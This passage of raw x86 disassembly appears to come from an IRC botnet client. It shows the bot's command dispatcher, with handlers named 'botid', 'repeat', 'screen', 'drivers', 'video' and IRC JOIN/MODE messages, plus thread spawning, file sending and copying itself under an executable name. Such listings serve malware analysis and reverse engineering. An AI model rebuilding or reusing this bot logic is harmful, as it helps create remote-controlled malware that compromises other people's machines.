cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4126C9 loc_4126B3: ; CODE XREF: sub_40EE72+3855j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h call near ptr 26207A4h nop jmp short loc_4126B3 ; --------------------------------------------------------------------------- loc_4126C9: ; CODE XREF: sub_40EE72+383Fj nop call near ptr 26702AAh push eax push offset unk_4313D8 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_4126DA: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_43139C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4127AD loc_41279B: ; CODE XREF: sub_40EE72+3939j cmp [ebp+var_560], ebx jnz short loc_4127C8 push 32h nop call near ptr 26207A4h jmp short loc_41279B ; --------------------------------------------------------------------------- loc_4127AD: ; CODE XREF: sub_40EE72+3927j nop call near ptr 26702AAh push eax lea eax, [ebp+var_2DC] push offset dword_431354 push eax call sub_4172B0 add esp, 0Ch loc_4127C8: ; CODE XREF: sub_40EE72+392Fj cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127D8: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_431314 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4128C0 loc_4128AA: ; CODE XREF: sub_40EE72+3A4Cj cmp [ebp+var_560], ebx jnz loc_411D22 push 32h call near ptr 26207A4h nop jmp short loc_4128AA ; --------------------------------------------------------------------------- loc_4128C0: ; CODE XREF: sub_40EE72+3A36j nop call near ptr 26702AAh push eax push offset unk_4312CC loc_4128CC: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292B push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292B: ; CODE XREF: sub_40EE72+3AA5j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_43128C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4129B7 loc_4129A1: ; CODE XREF: sub_40EE72+3B43j cmp [ebp+var_2FC], ebx jnz loc_413A62 push 32h nop call near ptr 26207A4h jmp short loc_4129A1 ; --------------------------------------------------------------------------- loc_4129B7: ; CODE XREF: sub_40EE72+3B2Dj nop call near ptr 26702AAh push eax push offset unk_431244 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412ABF mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_431208 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx call near ptr 26A0AA3h nop mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412AAE loc_412A98: ; CODE XREF: sub_40EE72+3C3Aj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 26207A4h jmp short loc_412A98 ; --------------------------------------------------------------------------- loc_412AAE: ; CODE XREF: sub_40EE72+3C24j nop call near ptr 26702AAh push eax push offset unk_4311C0 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412ABF: ; CODE XREF: sub_40EE72+3B67j push offset unk_431178 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412AC9: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi nop call near ptr 2800BA8h test eax, eax jz short loc_412AF9 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_431144 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AF9: ; CODE XREF: sub_40EE72+3C63j push offset dword_431128 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1B: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B55 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B55 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B55: ; CODE XREF: sub_40EE72+3CC1j ; sub_40EE72+3CD2j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_4310E8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412C0B loc_412BF5: ; CODE XREF: sub_40EE72+3D97j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h call near ptr 26207A4h nop jmp short loc_412BF5 ; --------------------------------------------------------------------------- loc_412C0B: ; CODE XREF: sub_40EE72+3D81j nop call near ptr 26702AAh push eax push offset unk_43109C jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1C: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C59 mov word ptr [ebp+var_470], 5 loc_412C59: ; CODE XREF: sub_40EE72+3DDCj cmp [ebp+var_C], ebx jz loc_413A62 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A62 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2780514h nop test eax, eax jnz short loc_412CA4 push offset unk_431068 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412CA4: ; CODE XREF: sub_40EE72+3E26j push edi push offset dword_431040 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CAF: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E29 lea eax, [ebp+var_3FC] push eax push 104h nop call near ptr 279117Ch push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D44 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4A ; --------------------------------------------------------------------------- loc_412D44: ; CODE XREF: sub_40EE72+3EBCj mov [ebp+var_570], ebx loc_412D4A: ; CODE XREF: sub_40EE72+3ED0j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D64 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6A ; --------------------------------------------------------------------------- loc_412D64: ; CODE XREF: sub_40EE72+3EE1j mov [ebp+var_574], ebx loc_412D6A: ; CODE XREF: sub_40EE72+3EF0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_430FF8 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412E18 loc_412E02: ; CODE XREF: sub_40EE72+3FA4j cmp [ebp+var_560], ebx jnz loc_413A62 push 32h call near ptr 26207A4h nop jmp short loc_412E02 ; --------------------------------------------------------------------------- loc_412E18: ; CODE XREF: sub_40EE72+3F8Ej nop call near ptr 26702AAh push eax push offset unk_430FAC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E29: ; CODE XREF: sub_40EE72+3E4Ej push offset unk_430F58 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412E33: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBC push edi call sub_41781F imul eax, 3E8h pop ecx push eax call near ptr 26207A4h nop loc_412EBC: ; CODE XREF: sub_40EE72+4034j push offset dword_430F24 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED0: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F8F push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 loc_412F4E: ; DATA XREF: ___:off_42DE40o add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_430EF4 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F8F: ; CODE XREF: sub_40EE72+40A3j push offset dword_430EB0 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F99: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430EA8 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB6: ; CODE XREF: sub_40EE72+41AEj test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 loc_412FD0: ; CODE XREF: sub_40EE72+4CBBj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 loc_412FF4: ; CODE XREF: sub_40EE72+4469j ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFC: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_430E9C push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB6 ; --------------------------------------------------------------------------- loc_413022: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430E94 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_430E68 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_41308E: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130BF push esi lea eax, [ebp+var_2DC] push offset dword_430E60 push eax call sub_4172B0 add esp, 0Ch loc_4130BF: ; CODE XREF: sub_40EE72+4236j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E34 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413113: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E08 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413181: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430DD0 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BB: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_430DC4 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax call near ptr 26207A4h nop push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_430DA0 call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413224: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_4315BC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_430D74 jmp short loc_4132D6 ; --------------------------------------------------------------------------- loc_41328A: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_430D48 loc_4132D6: ; CODE XREF: sub_40EE72+4217j ; sub_40EE72+429Cj ... call sub_40BFE1 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_4132E0: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_430D1C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413312: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B6 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41339E push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F48 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_430CE8 push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_41339E: ; CODE XREF: sub_40EE72+44D1j lea eax, [ebp+var_2DC] push offset dword_430CA8 push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B6: ; CODE XREF: sub_40EE72+44BCj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_430C80 push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413400: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413463 cmp [ebp+esi+var_8C], ebx jz short loc_413450 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_413449 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430C3C push eax call sub_4172B0 add esp, 0Ch jmp short loc_413463 ; --------------------------------------------------------------------------- loc_413449: ; CODE XREF: sub_40EE72+45B8j push offset dword_430C00 jmp short loc_413455 ; --------------------------------------------------------------------------- loc_413450: ; CODE XREF: sub_40EE72+45A6j push offset dword_430BB8 loc_413455: ; CODE XREF: sub_40EE72+45DCj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413463: ; CODE XREF: sub_40EE72+459Dj ; sub_40EE72+45D5j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FA mov [ebp+arg_0], ebx loc_41347B: ; CODE XREF: sub_40EE72+4673j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43ADC8 test eax, eax jz short loc_4134DE lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_430B7C push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134DE: ; CODE XREF: sub_40EE72+462Cj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347B lea eax, [ebp+var_2DC] push offset dword_430B48 push eax call sub_4172B0 pop ecx pop ecx loc_4134FA: ; CODE XREF: sub_40EE72+4600j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A0 cmp [ebp+esi+var_8C], ebx jz short loc_41358D cmp [ebp+esi+var_88], ebx jz short loc_41358D cmp [ebp+esi+var_84], ebx jz short loc_41358D mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358D push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413586 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430B04 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A0 ; --------------------------------------------------------------------------- loc_413586: ; CODE XREF: sub_40EE72+46F5j push offset dword_430AC0 jmp short loc_413592 ; --------------------------------------------------------------------------- loc_41358D: ; CODE XREF: sub_40EE72+46A4j ; sub_40EE72+46ADj ... push offset dword_430A78 loc_413592: ; CODE XREF: sub_40EE72+4719j lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A0: ; CODE XREF: sub_40EE72+4697j ; sub_40EE72+4712j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A62 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_413639 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_413639 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_413639 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_413639 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_413639 push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_41362F push [ebp+arg_18] push offset dword_430A34 jmp loc_411888 ; --------------------------------------------------------------------------- loc_41362F: ; CODE XREF: sub_40EE72+47AEj push offset dword_4309E4 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413639: ; CODE XREF: sub_40EE72+474Fj ; sub_40EE72+475Dj ... push offset dword_430998 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413643: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136BE mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366C: ; CODE XREF: sub_40EE72+4829j test eax, eax jz short loc_41369D push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366C ; --------------------------------------------------------------------------- loc_41369D: ; CODE XREF: sub_40EE72+47FCj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_430964 push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136BE: ; CODE XREF: sub_40EE72+47E2j push edi push offset dword_430934 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136C9: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_413709 push offset dword_4308F8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413709: ; CODE XREF: sub_40EE72+488Bj push esi push offset dword_4308D0 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413714: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413745 push offset unk_4308A4 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413745: ; CODE XREF: sub_40EE72+48C7j push offset dword_430878 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_41374F: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_41377E push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_41377E: ; CODE XREF: sub_40EE72+48F8j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_430850 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41381F loc_413809: ; CODE XREF: sub_40EE72+49ABj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h call near ptr 26207A4h nop jmp short loc_413809 ; --------------------------------------------------------------------------- loc_41381F: ; CODE XREF: sub_40EE72+4995j nop call near ptr 26702AAh push eax push offset unk_430804 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413830: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_4307E0 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_41384E: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, 